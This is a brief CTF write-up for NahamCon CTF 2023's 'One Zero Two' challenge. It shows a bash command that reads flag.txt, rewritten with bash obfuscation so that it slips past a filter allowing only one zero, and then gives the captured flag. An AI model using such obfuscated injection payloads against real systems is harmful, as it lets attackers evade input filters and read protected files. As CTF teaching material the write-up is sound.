ctf-writeup/NahamCon CTF 2023/One Zero Two

One Zero

You only get one zero... for real this time. ;)

How to Solve

To solve this you need bash obfuscate method

Bash Obfuscate Tool

The original payload is bash <<< {cat, flag.txt}

After obfuscate became this

${!#} <<< {$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$((${##}<<$((${##}))^${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))^${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))\\$((${##}<<$((${##}))<<$((${##}))^${##}))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))${#}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',}

flag{5d15f415ef8e8601f80340761c5918be}